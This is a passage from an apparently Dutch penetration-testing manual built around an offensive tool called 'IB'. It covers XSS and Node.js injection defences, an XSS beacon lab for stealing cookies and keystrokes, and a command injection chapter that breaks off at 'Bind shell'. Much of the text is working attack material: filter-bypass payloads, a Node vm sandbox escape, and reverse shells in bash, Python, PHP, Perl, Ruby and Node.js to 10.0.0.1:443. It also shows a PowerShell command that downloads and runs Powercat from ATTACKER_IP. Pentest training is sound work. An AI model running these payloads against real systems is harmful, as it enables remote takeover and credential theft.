  sh.stderr.pipe(c);
});

Slash bypass via hex encoding:

Als het karakter / gefilterd is:

var cmd = '\x2fbin\x2fbash';
require('child_process').exec(
  cmd + ' -c "bash -i >& \x2fdev\x2ftcp\x2f10.0.0.1\x2f443 0>&1"'
)

\x2f is de hexadecimale representatie van /. JavaScript decodeert dit voor uitvoering, dus het filter ziet geen slashes maar de runtime wel.

Template literal injection:

${require('child_process').execSync('id')}

Als user input in een template literal terecht komt (backtick strings), worden ${} expressies uitgevoerd.

vm module sandbox escape:

Node.js heeft een vm module die bedoeld is als een soort sandbox. “Bedoeld” is hier het sleutelwoord, want de sandbox is poreuzer dan een vergiet:

this.constructor.constructor('return process')()
  .mainModule.require('child_process')
  .execSync('id').toString()

Door de constructor-chain te volgen, ontsnap je uit de vm-sandbox en krijg je toegang tot het process object van Node.js. Van daaruit is het trivial om child_process te laden en commando’s uit te voeren.

Bestanden lezen:

require('fs').readFileSync('/etc/passwd', 'utf8')

De fs module geeft directe toegang tot het bestandssysteem. Geen omwegen, geen restricties.

Waar te zoeken:

Het command bestand geeft specifieke functies en patronen om naar te zoeken:

En de twee gouden tips:

  1. Node.js eval is directe RCE. Er is geen sandbox. Geen beperking. Niks.
  2. JSON.parse is veilig. Het parseert alleen data, het voert niks uit. eval() op JSON is het probleem, niet JSON.parse().

IB Tip: Als je eval() of Function() tegenkomt in server-side JavaScript, is dat altijd een bevinding, zelfs als de input op dat moment niet direct te controleren lijkt. Het is een tikkende tijdbom die wacht tot iemand de verkeerde waarde doorgeeft.

4.10 Verdediging: hoe het wel moet

Het mooie aan de webbeveiliging-industrie is dat we al twintig jaar oplossingen hebben voor XSS, en dat we ze collectief weigeren te gebruiken. We weten hoe het moet. We hebben de tools. We hebben de standaarden. We hebben de documentatie. En toch, jaar na jaar, verschijnt XSS in de OWASP Top 10.

Het is alsof de hele mensheid een handleiding heeft voor het voorkomen van branden, maar we blijven collectief onze sigaretten in het droge gras gooien.

Maar goed, voor de mensen die daadwerkelijk hun werk willen doen, hier zijn de verdedigingen.

4.10.1 Output Encoding – de eerste verdedigingslinie

De meest fundamentele verdediging tegen XSS is output encoding: het onschadelijk maken van speciale tekens voordat ze in de HTML terechtkomen.

<  wordt  &lt;
>  wordt  &gt;
"  wordt  &quot;
'  wordt  &#x27;
&  wordt  &amp;

Context-specifieke encoding is essentieel. HTML-encoding beschermt in de HTML-context maar niet in JavaScript-strings. JavaScript-encoding beschermt in JavaScript maar niet in HTML-attributen. URL-encoding beschermt in URL’s maar niet in HTML.

# Python/Flask -- veilig (Jinja2 auto-escapes)
{{ user_input }}

# ONVEILIG -- | safe schakelt auto-escaping uit
{{ user_input | safe }}
// JavaScript -- ONVEILIG
element.innerHTML = userInput;

// JavaScript -- veilig
element.textContent = userInput;

De regel is simpel: gebruik textContent in plaats van innerHTML wanneer je tekst rendert. Gebruik de auto-escaping van je template engine. En als je ooit | safe of {!! !!} of dangerouslySetInnerHTML typt, stop dan even en vraag jezelf af waarom.

4.10.2 Content Security Policy (CSP) – de tweede verdedigingslinie

Content Security Policy is een HTTP-header die de browser vertelt welke bronnen een pagina mag laden. Het is de meest krachtige verdediging tegen XSS, en tegelijkertijd de meest onderbenutte.

Content-Security-Policy: default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Met deze header kan de pagina alleen scripts laden van zijn eigen domein ('self'). Inline scripts (<script>alert(1)</script>) worden geblokkeerd. Event handler attributen (onerror=alert(1)) worden geblokkeerd. eval() wordt geblokkeerd.

Belangrijke CSP directives voor XSS-preventie:

Directive Functie
script-src Welke bronnen mogen scripts leveren
style-src Welke bronnen mogen stylesheets leveren
default-src Fallback voor alle resource types
frame-ancestors Wie mag deze pagina in een iframe laden
base-uri Welke base URIs zijn toegestaan
form-action Waar mogen formulieren naartoe submitten

Nonce-based CSP:

Content-Security-Policy: script-src 'nonce-R4nd0mStr1ng';
<!-- Dit script wordt uitgevoerd (juiste nonce) -->
<script nonce="R4nd0mStr1ng">
  // Legitieme applicatie code
</script>

<!-- Dit script wordt geblokkeerd (geen nonce) -->
<script>alert('XSS')</script>

Met nonce-based CSP moeten alle scripts een unieke, per-request gegenereerde nonce hebben. Een aanvaller die XSS injecteert, kent de nonce niet en kan dus geen scripts uitvoeren.

Strict-dynamic:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-R4nd0m';

Met strict-dynamic mogen scripts die via een vertrouwd script geladen worden (met de juiste nonce), zelf ook weer scripts laden. Dit maakt het makkelijker om CSP te implementeren in complexe applicaties met veel dynamisch geladen scripts.

4.10.3 HttpOnly Cookies

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

De HttpOnly vlag voorkomt dat JavaScript de cookie kan lezen via document.cookie. Dit beschermt specifiek tegen de meest directe vorm van XSS-exploitatie: cookie theft.

Maar – en dit is belangrijk – HttpOnly beschermt niet tegen:

HttpOnly is een slot op een van de deuren. Beter dan niks, maar geen volledige oplossing.

4.10.4 DOMPurify – sanitization voor de client-side

// ONVEILIG
element.innerHTML = userInput;

// VEILIG met DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);

DOMPurify is een JavaScript-library die HTML sanitizetert door alle potentieel gevaarlijke elementen en attributen te verwijderen. Het is de industriestandaard voor client-side HTML-sanitization.

// DOMPurify configuratie voorbeelden
DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

4.10.5 Specifieke verdedigingen per XSS-type

XSS Type Primaire verdediging Secundaire verdediging
Reflected Output encoding CSP, input validatie
Stored Output encoding CSP, input sanitization
DOM-based Gebruik textContent DOMPurify, CSP

Voor DOM-based XSS specifiek:

window.addEventListener('message', function(event) {
  // ALTIJD de origin controleren!
  if (event.origin !== 'https://vertrouwd-domein.nl') {
    return; // Negeer berichten van onbekende bronnen
  }
  // Gebruik textContent, NIET innerHTML
  document.getElementById('notificatie').textContent = event.data;
});

4.10.6 De cynische waarheid over “het is maar JavaScript”

Er zit een bepaald type manager in de tech-industrie – je kent ze wel, die figuren met hun poloshirts en hun “agile” buzzwords – die bij elke pentest- rapportage met een XSS-bevinding zeggen: “Maar het is maar een pop-up. Hoe erg kan het zijn?”

Het is maar een pop-up. Precies. En een kernreactor is maar een waterkoker. En een pistool is maar een buisje met een veertje. De vereenvoudiging mist het punt zo spectaculair dat het bijna bewonderenswaardig is.

Het is maar JavaScript. Datzelfde JavaScript dat:

“Het is maar JavaScript” is het beveiligingsequivalent van “het is maar een beetje water” terwijl de dam breekt.

Het probleem is niet dat managers niet begrijpen wat JavaScript kan. Het probleem is dat ze niet willen begrijpen wat JavaScript kan. Want als ze het zouden begrijpen, zouden ze ook moeten begrijpen dat hun applicatie al jaren kwetsbaar is, dat ze al jaren de verkeerde keuzes hebben gemaakt, en dat het fixen geld kost. En het is altijd makkelijker om het risico weg te wuiven dan om het aan te pakken.

Daarom maken we die mooie alert(1) pop-ups. Niet omdat dat het enige is wat we kunnen, maar omdat het de simpelste manier is om te bewijzen dat er code- executie mogelijk is. De echte exploit komt erna. En die laat je zien in een gecontroleerde omgeving, met een tool als Incompetent Bastard, zodat ook de meest cynische manager het risico niet meer kan ontkennen.

IB Tip: In je pentestrapport: toon altijd meer dan alleen alert(1). Demonstreer session hijacking met het IB beacon lab. Laat zien dat je cookies kunt stelen, dat je kunt keyloggen, dat je de pagina kunt vervangen. Kwantificeer de impact. “Een aanvaller kan alle sessies van ingelogde gebruikers overnemen” is een stuk overtuigender dan “er verscheen een pop-up.”

4.11 Prototype Pollution verdediging

Voor prototype pollution gelden specifieke verdedigingsmaatregelen:

1. Gebruik Object.create(null) voor dictionaries:

// ONVEILIG -- erft van Object.prototype
let config = {};

// VEILIG -- geen prototype
let config = Object.create(null);

2. Gebruik Map in plaats van gewone objecten:

// ONVEILIG
let cache = {};
cache[userInput] = value;

// VEILIG
let cache = new Map();
cache.set(userInput, value);

3. Controleer met hasOwnProperty:

function safeMerge(target, source) {
  for (let key in source) {
    if (source.hasOwnProperty(key)) {
      if (key === '__proto__' || key === 'constructor') {
        continue; // Skip gevaarlijke keys
      }
      target[key] = source[key];
    }
  }
  return target;
}

4. Update je dependencies:

5. Freeze het prototype:

Object.freeze(Object.prototype);

Dit is de nucleaire optie: niemand kan meer eigenschappen toevoegen aan Object.prototype. Het breekt mogelijk legitieme code die prototypes uitbreidt, maar het elimineert prototype pollution volledig.

4.12 Node.js Injection verdediging

1. Gebruik nooit eval() op user input:

// NOOIT DIT DOEN
app.get('/calc', (req, res) => {
  let result = eval(req.query.expr);  // RCE!
  res.send(String(result));
});

// VEILIG alternatief -- gebruik een parser
const mathjs = require('mathjs');
app.get('/calc', (req, res) => {
  let result = mathjs.evaluate(req.query.expr);
  res.send(String(result));
});

2. JSON.parse() is veilig, eval() op JSON is dat niet:

// VEILIG
let data = JSON.parse(userInput);

// ONVEILIG
let data = eval('(' + userInput + ')');

3. Gebruik --frozen-intrinsics flag:

node --frozen-intrinsics app.js

Dit bevriest alle ingebouwde objecten, waardoor prototype pollution onmogelijk wordt.

4. Vermijd vm als sandbox:

De vm module van Node.js is geen beveiligings-sandbox. Gebruik vm2 of isolated-vm als je echt code in een sandbox wilt uitvoeren, maar weet dat ook deze libraries kwetsbaarheden kunnen hebben.

4.13 Samenvatting: de XSS gereedschapskist

We hebben in dit hoofdstuk een reis gemaakt van de simpelste <script>alert(1) </script> tot een volledig operationeel XSS command and control systeem. Laten we de belangrijkste lessen op een rij zetten.

XSS Typen

Type Payload locatie Server betrokken Vereist klik
Reflected URL parameters Ja Ja
Stored Database/bestand Ja Nee
DOM-based URL fragment/DOM Nee Soms

IB Command Referentie

Command Doel
web_xss_payloads XSS-vectoren per context en filter bypass
web_xss_steal Exfiltratie-payloads (cookies, keys, creds)
web_prototype_pollution Prototype pollution detectie en RCE-chains
web_nodejs_inject Node.js server-side injection technieken

IB Beacon Lab Endpoints

Endpoint Functie
/x.js of /xxs.js Beacon JavaScript payload delivery
/xxs/cookies Cookie exfiltratie callback
/xxs/localstorage localStorage exfiltratie callback
/xxs/keylogger Keylogger data callback
/xxs/gebruiker Autocomplete credential callback
/xxs/commands C2 command polling
/dashboard/xxs Overzicht dashboard
/dashboard/xxs/download_cookies/<id> Cookie export (Netscape)
/dashboard/xxs/download_toetsen/<id> Keylogger export
/dashboard/xxs/download_localstorage/<id> localStorage export

IB Database Modellen

Model Tabel Slaat op
db_xxs_hooked db_xxs_hooked Gehoekte browsers
db_xxs_cookies db_xxs_cookies Gestolen cookies
db_xxs_localstorage db_xxs_localstorage localStorage data
db_xxs_keylogger db_xxs_keylogger Toetsaanslagen
db_xxs_login db_xxs_login Autocomplete credentials
db_xxs_form db_xxs_form Formulierdata
db_xxs_commands db_xxs_commands C2 opdrachten
db_instellingen db_instellingen Configuratie (IP, etc.)

Verdedigingsoverzicht

Maatregel Beschermt tegen Effectiviteit
Output encoding Reflected, Stored XSS Hoog
CSP (nonce-based) Alle XSS-typen Zeer hoog
HttpOnly cookies Cookie theft via XSS Medium
DOMPurify DOM-based XSS Hoog
textContent DOM-based XSS Hoog
Object.create(null) Prototype pollution Hoog
JSON.parse Node.js injection (vs eval) Hoog

4.14 Verder lezen en referenties

Bron Onderwerp
OWASP XSS Prevention Cheat Sheet Output encoding per context
OWASP Testing Guide - XSS Testmethodologie
PortSwigger Web Security Academy - XSS Interactieve labs
Google CSP Evaluator CSP-beleid testen
DOMPurify GitHub repository Client-side sanitization
CWE-79: Improper Neutralization of Input Formele kwetsbaarheidsdefinitie
CWE-1321: Improperly Controlled Modification Prototype pollution CWE
NodeGoat OWASP Project Node.js beveiligingslabs
HackTricks - XSS Uitgebreide payload collectie
BeEF Framework Browser exploitation reference

De volgende keer dat iemand je vertelt dat XSS “maar een pop-up” is, nodig ze dan uit voor een demonstratie met het IB beacon lab. Niets overtuigt zo snel als het zien van je eigen toetsaanslagen op het scherm van iemand anders.

In het volgende hoofdstuk duiken we in Server-Side Request Forgery (SSRF) – een kwetsbaarheid waarbij we de server zelf als proxy gebruiken om plaatsen te bereiken waar we niet horen te zijn. Als XSS gaat over het manipuleren van de browser, gaat SSRF over het manipuleren van de server. En servers hebben doorgaans toegang tot veel interessantere dingen dan browsers.

Command Injection

Command Injection

De fundamenten van het gebouw

Elk gebouw heeft fundamenten. Dikke betonnen muren, diep de grond in, die het gewicht dragen van alles wat erboven staat. Normaal gesproken denk je daar niet over na. Je loopt door de lobby, je neemt de lift, je bewondert het uitzicht vanaf de twaalfde verdieping. Die fundamenten zijn er gewoon. Onzichtbaar. Vanzelfsprekend.

Een webapplicatie werkt precies zo. Bovenaan heb je de glanzende interface: de knoppen, de formulieren, het mooie CSS-ontwerp waarover een designer drie weken heeft vergaderd. Daaronder zit de applicatielogica – de backend code die Python of Java of PHP draait. En helemaal onderaan, verscholen in het donker als de riolering van een middeleeuwse stad, ligt het besturingssysteem. Linux, Windows, wat het ook is. Het ding dat bestanden opent, processen start, netwerk- verbindingen beheert. De fundamenten.

Command injection is wat er gebeurt als iemand een gat boort door al die verdiepingen heen, recht naar beneden, tot in die fundamenten. Je typt iets in een webformulier – een veld bedoeld voor een IP-adres, een bestandsnaam, een zoekopdracht – en plotseling sta je niet meer in de lobby. Je staat in de kelder. Met een zaklamp. En alle deuren staan open.

Stel je een ouderwetse telefooncentrale voor, het soort met een menselijke operator die kabeltjes in gaatjes stak. Je belt op en zegt: “Verbind me door met meneer Jansen.” De operator pakt het juiste kabeltje en steekt het in het juiste gaatje. Netjes. Maar wat als je zegt: “Verbind me door met meneer Jansen, en geef me daarna ook even de hele telefoonlijst, en oh ja, verbind me ook nog even door met de directeur”? Een goede operator zou zeggen: “Dat mag niet.” Een slechte operator – en dit is de kern van command injection – doet gewoon alles wat je vraagt.

De webapplicatie is die slechte operator.

Wat is command injection precies?

Laten we even precies zijn, want in de beveiliging worden termen graag door elkaar gegooid alsof het allemaal hetzelfde is. Dat is het niet.

Code injection is wanneer een aanvaller code laat uitvoeren binnen de programmeertaal van de applicatie zelf. SQL injection is een vorm van code injection – je injecteert SQL-code in een SQL-query. Server-Side Template Injection injecteert template-code. De aanvaller opereert binnen het domein van de applicatie.

OS command injection is fundamenteel anders. Hier breek je uit de applicatie en praat je rechtstreeks met het besturingssysteem. Je injecteert geen Python in een Python-applicatie – je injecteert bash-commando’s, of cmd.exe- commando’s, die het besturingssysteem zelf uitvoert. Het verschil is als het verschil tussen iemand die een vals biljet gebruikt in een winkel (code injection) versus iemand die de kluis van de bank zelf openbreekt (command injection).

De basis is altijd hetzelfde. Ergens in de applicatie staat een regel code die er ongeveer zo uitziet:

import os
os.system("ping -c 4 " + user_input)

Of in PHP:

$output = shell_exec("nslookup " . $_GET['host']);

Of in Java:

Runtime.getRuntime().exec("nslookup " + request.getParameter("host"));

De developer wilde iets nuttigs doen. Een ping uitvoeren. Een DNS-lookup. Een bestand converteren. Een PDF genereren. Allemaal volkomen legitieme dingen die je met het besturingssysteem wilt doen. Maar in plaats van dat netjes te doen, plakt de developer de gebruikersinvoer gewoon achter het commando. Rauw. Ongefilterd. Zoals je sla uit de tuin eet zonder te wassen – het gaat meestal goed, tot die ene keer dat het heel erg fout gaat.

En laten we eerlijk zijn: het gaat altijd fout. Niet “misschien”. Niet “in theorie”. Het gaat fout zoals water naar beneden stroomt – het is een natuurwet. Als je user input concateneert in een shell-commando, zal iemand dat misbruiken. De enige vraag is wanneer.

IB Tip: Command injection is de heilige graal van webapplicatie- aanvallen. SQL injection geeft je de database. Command injection geeft je het hele systeem. Als je het vindt, heb je in feite al gewonnen.

De operatoren: hoe je commando’s aan elkaar plakt

De kern van command injection zit in de manier waarop besturingssystemen omgaan met speciale tekens. Elke shell – bash, sh, cmd.exe, PowerShell – heeft tekens die betekenen: “stop met dit commando en begin met het volgende.” Die tekens zijn je gereedschap.

IB heeft ze netjes op een rij gezet in het command file web_cmdi_operators. Laten we ze een voor een doorlopen.

De puntkomma: ;

Het simpelste en meest directe wapen. Een puntkomma in bash betekent: “voer het volgende commando uit, ongeacht of het vorige slaagde of faalde.”

# Normaal gebruik
127.0.0.1;id

De applicatie voert ping -c 4 127.0.0.1 uit, en daarna voert het id uit. Twee commando’s, netjes na elkaar. De ping doet zijn ding, en dan krijg je de output van id – de gebruikersnaam en groep waaronder de webserver draait.

Op Windows werkt de puntkomma niet op dezelfde manier in cmd.exe. Daar gebruik je &:

127.0.0.1 & whoami

De pipe: |

De pipe stuurt de output van het eerste commando als input naar het tweede. Maar het cruciale punt: beide commando’s worden uitgevoerd.

127.0.0.1|id

De ping-output wordt doorgestuurd naar id, wat id vrolijk negeert en gewoon zijn eigen ding doet. Je krijgt de output van id te zien, en dat is precies wat je wilde.

Dubbele pipe (OR): ||

Dit voert het tweede commando uit alleen als het eerste commando faalt.

foobar||id

ping foobar faalt – want foobar is geen geldig adres. Dus de shell voert het volgende commando uit: id. Dit is elegant omdat je geen geldig eerste commando nodig hebt. Je gooit er gewoon onzin in en laat het falen.

Dubbele ampersand (AND): &&

Het tegenovergestelde: voer het tweede commando uit alleen als het eerste slaagt.

127.0.0.1&&id

De ping naar 127.0.0.1 slaagt altijd (het is localhost), dus id wordt ook uitgevoerd. Je moet hier een geldig eerste commando gebruiken, maar 127.0.0.1 werkt altijd.

Backticks: `

Backticks zijn inline command substitution. Het commando tussen backticks wordt eerst uitgevoerd, en de output wordt ingevoegd op die plek.

`id`

Als je dit invoert als IP-adres, wordt id uitgevoerd en de output ervan wordt het argument voor ping. De ping faalt natuurlijk – uid=33(www-data) is geen geldig IP-adres – maar het commando is wel degelijk uitgevoerd.

Dollar-haakjes: $()

Hetzelfde als backticks, maar de modernere syntax. Makkelijker te nesten en leesbaarder.

$(id)

Functioneel identiek aan backticks, maar met het voordeel dat je ze kunt nesten: $(echo $(whoami)). In de praktijk maakt het weinig uit welke je gebruikt, maar $() is betrouwbaarder in edge cases.

Newline: %0a

Dit is de stille moordenaar. Een newline (URL-encoded als %0a) fungeert in de meeste shells als een commandoscheider – net als een puntkomma.

127.0.0.1%0aid

Het mooie hiervan: veel filters zoeken naar puntkomma’s en pipes, maar vergeten de newline. Het is het equivalent van de achterdeur waar niemand aan denkt.

Het complete IB command file

Dit is wat IB je geeft in web_cmdi_operators:

# === Injection operatoren ===
# Semicolon (commando scheiden):
127.0.0.1;id
# Pipe (output doorsturen):
127.0.0.1|id
# AND (beide uitvoeren als eerste slaagt):
127.0.0.1&&id
# OR (tweede uitvoeren als eerste faalt):
foobar||id
# Backtick (inline substitutie):
`id`
# Dollar (inline substitutie):
$(id)
# Newline (URL-encoded):
127.0.0.1%0aid

# === URL-encoding voor speciale tekens ===
# & -> %26 (nodig in URL parameters)
# | -> %7c
# ; -> %3b
# Spatie -> + of %20

# === Blind detection ===
;curl http://10.0.0.1/cmdi_confirm
;ping -c 1 10.0.0.1
;sleep 5

# === Capability check (welke tools beschikbaar) ===
;which curl
;which wget
;which nc
;which python3

Let op de URL-encoding tabel. Dit is cruciaal. Als je je payload via een URL parameter verstuurt – en dat doe je bijna altijd – dan moet je speciale tekens URL-encoden. Een & in een URL betekent namelijk “volgend parameter”, niet “voer ook het volgende commando uit”. Dus & wordt %26, | wordt %7c, enzovoort.

IB Tip: Probeer altijd alle operatoren systematisch. Als ; niet werkt, probeer |. Als | niet werkt, probeer ||. Als niets werkt, probeer de URL-encoded varianten. Sommige WAFs en filters blokkeren het ene teken maar vergeten het andere.

Windows versus Linux

Tot nu toe hebben we voornamelijk Linux-voorbeelden gezien. Maar Windows is een heel ander beest. Hier een vergelijkingstabel:

Operator Linux (bash/sh) Windows (cmd.exe) Windows (PowerShell)
Scheiden ; & ;
Pipe \| \| \|
AND && && -and / && (PS7+)
OR \|\| \|\| -or / \|\| (PS7+)
Substitutie `cmd` / $(cmd) N/A $(cmd)
Newline %0a %0a (soms) %0a

Op Windows cmd.exe gebruik je & om commando’s te scheiden:

127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 && whoami
foobar || whoami

In PowerShell werkt het weer net anders:

127.0.0.1; whoami
127.0.0.1 | whoami

Het punt is: je moet weten welk besturingssysteem en welke shell je te pakken hebt. Een Linux-payload op Windows is als een Franse sleutel op een Duits slot – het past gewoon niet.

Filter bypass: als de voordeur op slot zit

Nu wordt het interessant. Want de meeste developers zijn niet compleet achterlijk. Ze hebben ergens gelezen dat command injection een ding is, en ze hebben een filter gebouwd. Het probleem is alleen: ze hebben een slecht filter gebouwd. En een slecht filter is soms erger dan geen filter, want het geeft een vals gevoel van veiligheid.

Je kent het type. De developer die denkt: “Ik filter gewoon alle puntkomma’s en pipes weg, dan ben ik veilig.” Dat is alsof je de voordeur van je huis op slot doet maar alle ramen open laat staan.

IB’s web_cmdi_bypass command file is een masterclass in creatief denken. Laten we de technieken doorlopen.

Spatie-bypass

Veel filters blokkeren spaties. Logisch – een commando zonder spaties is moeilijk bruikbaar, toch? Fout. Er zijn minstens vijf manieren om een spatie te vermijden in bash.

${IFS} – Internal Field Separator

In bash is $IFS een speciale variabele die standaard whitespace bevat (spatie, tab, newline). Je kunt het gebruiken als vervanging voor een spatie:

cat${IFS}/etc/passwd
cat$IFS/etc/passwd

Beide zijn functioneel identiek aan cat /etc/passwd. De shell vervangt ${IFS} door de inhoud van de IFS-variabele, wat standaard een spatie is. Het is alsof je tegen een kind zegt dat het geen koekjes mag pakken, en het kind pakt de koekjes met een tang. Technisch gezien heeft het de koekjes niet gepakt.

Input redirection: <

cat</etc/passwd

De < operator redirect een bestand als input. Geen spatie nodig.

Brace expansion: {cmd,arg}

{cat,/etc/passwd}

Bash brace expansion zet {cat,/etc/passwd} om naar cat /etc/passwd. Geen spatie in de oorspronkelijke input.

Hex-encoded spatie:

X=$'\x20';cat${X}/etc/passwd

Je maakt een variabele aan die een spatie bevat (hex \x20), en gebruikt die variabele in plaats van een echte spatie. Als dit niet creatief is, weet ik het ook niet meer.

Keyword-bypass: als ‘cat’ geblokkeerd is

Sommige filters blokkeren specifieke commando’s. “Je mag geen cat gebruiken.” Prima. Dan gebruiken we cat op een manier die de filter niet herkent, maar de shell wel.

Quotes invoegen:

c'a't /etc/passwd
c"a"t /etc/passwd

De shell stripted lege quotes eruit. c'a't wordt cat. Maar de filter ziet de string cat niet – die ziet c'a't. Het is het digitale equivalent van een valse snor.

Backslash:

c\at /etc/passwd

Een backslash voor een normaal karakter in bash doet niets. \a is gewoon a. Maar de filter ziet c\at, niet cat.

Wildcards:

/bin/c?t /etc/passwd

Het vraagteken is een wildcard die matcht met precies een karakter. /bin/c?t matcht met /bin/cat. Je kunt het zo ver doorvoeren als je wilt:

/b??/c?t /e??/p??s??

Dit matcht nog steeds met /bin/cat /etc/passwd. Het is absurd, maar het werkt.

Alternatieve commando’s

Als cat geblokkeerd is, waarom zou je dan uberhaupt cat gebruiken? Er zijn tientallen commando’s die bestanden kunnen lezen:

tac /etc/passwd     # cat achterstevoren
head /etc/passwd    # eerste regels
tail /etc/passwd    # laatste regels
nl /etc/passwd      # met regelnummers
sort /etc/passwd    # gesorteerd

tac is mijn persoonlijke favoriet. Het is letterlijk cat achterstevoren – zowel de naam als de output. Het is het soort commando waarvan je je afvraagt: “Wie heeft hier ooit om gevraagd?” Het antwoord: pentesters. Pentesters hebben hier om gevraagd.

Slash-bypass

Soms is zelfs de / geblokkeerd. Dan moet je creatief worden met string- manipulatie:

$(tr '!/' '/ ' <<< 'bin!bash')

Dit vertaalt ! naar / en / naar een spatie, waardoor bin!bash wordt omgezet naar /bin/bash. Het is het soort ding dat je met bewondering en lichte afschuw bekijkt.

String concatenatie

a]b]c=/etc/passwd;cat ${a]b]c}

Je bouwt het pad op in een variabele en gebruikt die variabele in je commando. De filter ziet nooit de string /etc/passwd in je input.

Base64 encoding

Dit is de nucleaire optie. Encodeer je hele payload in base64, en decodeer het op het doelsysteem:

# Op je eigen machine:
echo 'id' | base64
# Output: aWQ=

# Op het doelsysteem:
echo aWQ= | base64 -d | bash

Voor een reverse shell:

# Encodeer de payload:
echo 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1' | base64

# Decodeer en voer uit:
echo BASE64_HERE | base64 -d | bash

De filter ziet alleen maar een onschuldige base64-string. Geen speciale tekens, geen verdachte commando’s. Gewoon een reeks letters en cijfers en een paar plustekens.

Hex encoding

echo -e '\x69\x64' | bash

\x69 is i, \x64 is d. Samen: id. Hetzelfde principe als base64, maar dan met hex.

Wildcard-bypass voor paden

/bin/c?t /etc/p?sswd
/b??/c?t /e??/p??s??

Dit is de shotgun-benadering. Vervang elk karakter dat geblokkeerd zou kunnen zijn door een vraagteken, en hoop dat er maar een match is. In de meeste systemen is /bin/c?t uniek genoeg om alleen /bin/cat te matchen.

IB Tip: Gebruik Wfuzz met een blocklist bypass wordlist voor geautomatiseerd testen. Handmatig elke bypass proberen is tijdrovend. Laat de computer het werk doen.

Van command injection naar shell

Goed. Je hebt command injection gevonden. Je kunt id uitvoeren. Je kunt /etc/passwd lezen. Maar dat is pas het begin. Het echte doel is een interactieve shell – een permanente verbinding met het systeem waarmee je kunt rondneuzen, bestanden downloaden, privileges escaleren, en verder het netwerk in bewegen.

Het concept is simpel: je laat het doelsysteem een verbinding opzetten naar jouw machine (een “reverse shell”), zodat je een volledige command line krijgt. Maar de uitvoering kan complex zijn, afhankelijk van wat er beschikbaar is op het doelsysteem.

Daarom is de eerste stap altijd een capability check. Welke tools heeft het systeem?

;which curl
;which wget
;which nc
;which python3
;which perl
;which ruby
;which php
;which socat

Afhankelijk van het antwoord kies je je shell.

Bash reverse shell

De klassieker. Werkt op bijna elk Linux-systeem:

;bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'

Maar pas op: als je dit via een HTTP-parameter verstuurt, moet je de & URL-encoden als %26:

;bash -c 'bash -i >%26 /dev/tcp/10.0.0.1/443 0>%261'

Dit is wat IB’s web_cmdi_operators laat zien. Die %26 is cruciaal – zonder die encoding interpreteert de webserver de & als een parameter-scheider in de URL, niet als deel van je payload.

Je luistert op je eigen machine:

nc -nlvp 443

En zodra de payload wordt uitgevoerd, heb je een shell. Poort 443 is geen toeval – het is de HTTPS-poort, en uitgaand verkeer op poort 443 wordt zelden geblokkeerd door firewalls.

Python reverse shell

Als bash niet beschikbaar is maar Python wel:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

Dit is een one-liner die: 1. Een socket opent naar jouw IP op poort 443 2. stdin, stdout en stderr redirect naar die socket (os.dup2) 3. Een bash-shell spawnt met een pseudo-terminal (pty.spawn)

De langere versie uit IB’s web_cmdi_shells:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

Functioneel hetzelfde, maar explicieter. Let op: probeer zowel python als python3 – sommige systemen hebben alleen de een of de ander.

PHP reverse shell

php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Of met proc_open:

php -r '$sock=fsockopen("10.0.0.1",443);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

PHP heeft een verrassend groot arsenaal aan functies die shell-commando’s kunnen uitvoeren: system(), passthru(), shell_exec(), popen(), proc_open(), exec(). Zes manieren om hetzelfde te doen. Het is alsof een taal is ontworpen door iemand die dacht: “Wat als we dezelfde fout zes keer maakten, maar dan elk met een net iets andere syntax?”

Perl reverse shell

perl -e 'use Socket;$i="10.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl is oud, lelijk, en bijna overal geinstalleerd. Het is het Latijn van de programmeertalen – niemand gebruikt het vrijwillig, maar het weigert om dood te gaan.

Ruby reverse shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Node.js reverse shell

node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(443,"10.0.0.1",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})()'

Of simpeler als netcat beschikbaar is:

require('child_process').exec('nc -nv 10.0.0.1 443 -e /bin/bash')

IB Tip: Check altijd eerst welke interpreters beschikbaar zijn met which python3 perl ruby node. Geen zin om een Python-shell te proberen als Python niet geinstalleerd is.

Powercat: netcat voor PowerShell

Op Windows-systemen is de situatie anders. Bash bestaat niet (tenzij WSL geinstalleerd is), en de standaard tools zijn PowerShell en cmd.exe. Hier komt Powercat in beeld – een pure PowerShell-implementatie van netcat.

Het mooie van Powercat is dat het geen binary is. Het is een PowerShell-script. Dat betekent dat je het in-memory kunt laden zonder iets naar disk te schrijven, wat antivirus een stuk moeilijker maakt.

Powercat laden

In-memory laden vanaf je webserver:

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1')

Of lokaal:

. .\powercat.ps1

Reverse shell met Powercat

Op je eigen machine, start een listener:

nc -nlvp 443

Op het target:

powercat -c ATTACKER_IP -p 443 -e cmd.exe

Wil je PowerShell in plaats van cmd.exe? Gebruik de -ep flag:

powercat -c ATTACKER_IP -p 443 -ep

Bind shell

